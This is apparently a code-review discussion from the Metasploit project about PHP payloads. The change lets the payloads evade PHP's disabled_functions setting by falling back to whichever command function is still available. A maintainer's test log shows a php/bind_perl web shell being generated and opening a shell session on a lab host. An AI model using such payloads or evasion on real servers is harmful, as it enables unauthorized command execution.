Use php_preamble/php_system_block instead of system in payloads/singles/php/

[jvoisin]

The php_preamble/php_system_block combo has builtin low-hanging evasion for PHP's disabled_functions configuration (eg. system might not be available but shell_exec is), so use it instead of hardcoding system.

This commit also brings modules/payloads/singles/php/reverse_perl.rb's style more in line with the other uses of php_preamble/php_system_block.

[jheysel-r7]

The changes here look good (I just landed the related WordPress specific PR) although the CI test failures are legit.

We have a number of unit tests that run for our different payloads that verify the CachedSize are as expected. When we update the CachedSize of a payload have to update the unit tests as well. Apologies my first attempt to fix didn't work, I'll get back to you tomorrow on this.

[jheysel-r7]

I fixed the unit tests, tested the php/bind_perl payload and it's working as expected. Thanks for the enhancement!

msf6 payload(php/bind_perl) > to_handler
[*] Payload Handler Started as Job 0

[*] Started bind TCP handler against 172.16.199.158:4444
msf6 payload(php/bind_perl) >
msf6 payload(php/bind_perl) > generate -o shell.php -f raw
[*] Writing 2049 bytes to shell.php...
msf6 payload(php/bind_perl) > [*] Command shell session 1 opened (172.16.199.158:33675 -> 172.16.199.158:4444) at 2024-09-26 16:22:53 -0800
msf6 payload(php/bind_perl) >
msf6 payload(php/bind_perl) > sessions -i -1
[*] Starting interaction with 1...

id
uid=1000(msfuser) gid=1000(msfuser) groups=1000(msfuser),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare),998(docker),1001(rvm)
sysinfo
uname -a
Linux ubuntu 5.15.0-92-generic #102~20.04.1-Ubuntu SMP Mon Jan 15 13:09:14 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux